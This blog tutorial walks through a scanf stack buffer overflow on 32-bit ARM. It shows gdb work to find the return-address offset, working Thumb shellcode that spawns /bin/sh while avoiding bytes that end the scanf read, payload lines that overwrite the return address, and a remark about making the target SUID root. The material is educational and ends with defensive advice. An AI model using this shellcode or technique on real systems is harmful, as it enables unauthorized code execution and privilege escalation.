Scanf Buffer Overflow Exploitation on ARM

Posted on October 14, 2018

Introduction

In my stumbling around on the internet, I came across a tutorial that contained a couple lines like these:

The snippet was designed to implement a ‘Continue?’ prompt, where you could enter ‘n’ to stop the program or something else to continue. Unfortunately, line 5 is vulnerable to a buffer overflow, because the “%s” format in scanf reads characters from stdin until it reaches a space or newline, and stores them into the pointer. However, the memory we pass to scanf can store only 1 character before scanf starts writing to other regions in memory.

Unfortunately, it’s all too easy to do something like this in C, especially when dealing with user input. A lot of the string functions in C, like scanf, strcat, sprintf and such do not take an argument specifying how long the string is, so when they’re used with untrusted input they are vulnerable to attack. While safer alternatives exist, like scanf("%10s"), strncat, and snprintf, they are not perfect, and are sometimes forgotton or just mistyped.

The attack

While saying “this line is vulnerable to a buffer overflow attack” is all well and good, actually seeing the attack performed is helpful to understanding why the vulnerability exists in the first place. Before we start, we need to disable Address Space Layout Randomization, and compile our victim program without stack execution protection. It will also be helpful to enable core dumps.

Confirming the vulnerability exists

In order to see if the vulnerability is actually exploitable, we should try overflowing the buffer with a lot of data to see if the program will crash. Something like this:

$ ./main
Continue? naaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

Excellent! The extra data that we wrote crashed the program, most likely when it tried to return from the main function.

Finding the return address location

Next, we need to figure out where the return address is stored, so that we can overwrite it with our own data. Some explaination is required.

I am running this program on 32 bit ARM, so from this, we know a couple of things. The return address is going to be 32 bits, and the stack grows down, so the stack frame in the main function will look something like this:

addr data
0xfff0 <…>
0xffec return address
0xffe8 other stack vars
0xffe4 char c

When we pass &c to scanf, scanf keeps writing data from c, through the rest of the stack variables, and into the return address. So in order to change the return address to our own code, we need to figure out what part of the buffer it’s at. If we load up gdb, and do something like this:

(gdb) r
Starting program: main
Continue? naaaabbbbccccddddeeeeffffgggghhhh

Program received signal SIGSEGV, Segmentation fault.
0x65656564 in ?? ()
(gdb) p/c 0x65
$1 = 101 'e'
(gdb) p/x $sp-4
$2 = 0xbefff57c

we see that the program tries to jump to 0x65656564 (arm program counter is aligned to at least 2), and crashes. Gdb helpfully informs us that 0x65 is the letter e, so the return address is where the ’e’s are in our input string. Also, we have gdb print out the stack pointer, so we can later replace the return address with the address of our code on the stack.

The shellcode

Now, we need to write the code we want to be executed in our exploit. This pretty much must be written in assembly, because there are some restrictions on the bytes we can use as well as how much space is available. The restriction on what bytes we can use is because scanf will stop reading in our data if it encounters a space, newline, or some other control characters. My shellcode is shown below:

.section .text
.syntax unified
.global _start
_start:
.code 32
add r3, pc, #1
bx r3
.code 16

movw r0, #0x64df
movt r0, #0x6e69
subs r0, #0x2b0
movw r1, #0x732f
movt r1, #0x0068
push {r0, r1}

mov r0, sp
subs r1, r1, r1
subs r2, r2, r2
mov r7, #0x26b
subs r7, r7, #0x260
svc 1

The first couple of lines are assembler directives, which I will not go into. Next, I put the processor into thumb mode, to make the object code a bit denser so there’s less of a chance of hitting invalid bytes.

.global _start
_start:
.code 32
add r3, pc, #1
bx r3
.code 16

Next, I place “/bin/sh\0” into r0 and r1 so I can push them onto the stack. For r0, I ran into some problems with the movt generating a space character, so I had to change the data in it from 0x622f to 0x64df, and subtract off 0x2b0 to get the right value.

movw r0, #0x64df
movt r0, #0x6e69
subs r0, #0x2b0
movw r1, #0x732f
movt r1, #0x0068
push {r0, r1}

Then, I set up the arguments for the exceve syscall. From the linux syscall table, we see that exceve is defined as syscall 11, and it takes 3 arguments, the program to invoke, any arguments to the program, and any environment variables. We want to invoke /bin/sh, with no arguments or environment variables, so we just need to do exceve("/bin/sh", NULL, NULL);. Remember from the last snippet that /bin/sh is already on the stack, so we just need to set r0 to the stack pointer, and r1 and r2 to 0, and place 11 into r7, then execute a swi 1 instruction.

mov r0, sp
subs r1, r1, r1
subs r2, r2, r2
mov r7, #0x26b
subs r7, r7, #0x260
svc 1

The only unusual pieces to this are the use of subs rx, rx, rx to set rx to 0 instead of using a mov rx, #0, as the mov will create a 0 byte. Also, I had to set r7 to 0x26b, then subtract off 0x260 to avoid a 0x0b byte which is not allowed by scanf. And that’s it!

Putting it together

The only thing that remains now is to inject our payload into the program. Unfortunately, unlike most buffer overflow examples that provide the shellcode as a command line argument, we can’t use escaped characters here. So I put together a python program to output the attack:

Notice the inclusion of the undefined function, which inserts an undefined instruction into the data to aid in debugging. Now to run the exploit:

Uh oh, let’s open the core dump in gdb

Ah, when we found the stack pointer in gdb previously, it was different. Gdb must have inserted some environment variables or something. Let’s change the stack pointer address in the python script from

sys.stdout.write("\x80\xf5\xff\xbe")     # return address+4

to

sys.stdout.write("\xc4\xf5\xff\xbe")     # return address+4

and run it again:

Excellent! There’s no crash, however bash must be exiting because there’s no more data from stdin. Let’s change our command so we can type in some data afterwards:

Yes! We have a successful exploit! However, just for a little bit of extra flash, why don’t we make our executable SUID root:

Exploit complete

Conclusion

The C language unfortunately makes it easy for the programmer to leave their program vulnerable to various exploits such as the one shown here. While operating systems have implemented mitigations such as non-executable stack and heap pages, and address space randomization, it is still possible to do a successful attack using techniques such as Return Oriented Programming, or using sidechannel attacks to leak address space information. The best way to prevent such attacks is to be extremely careful about how memory is managed in C, to employ fuzzing techniques to discover vulnerabilities such as this one, or to use higher level languages that don’t directly expose memory like C does.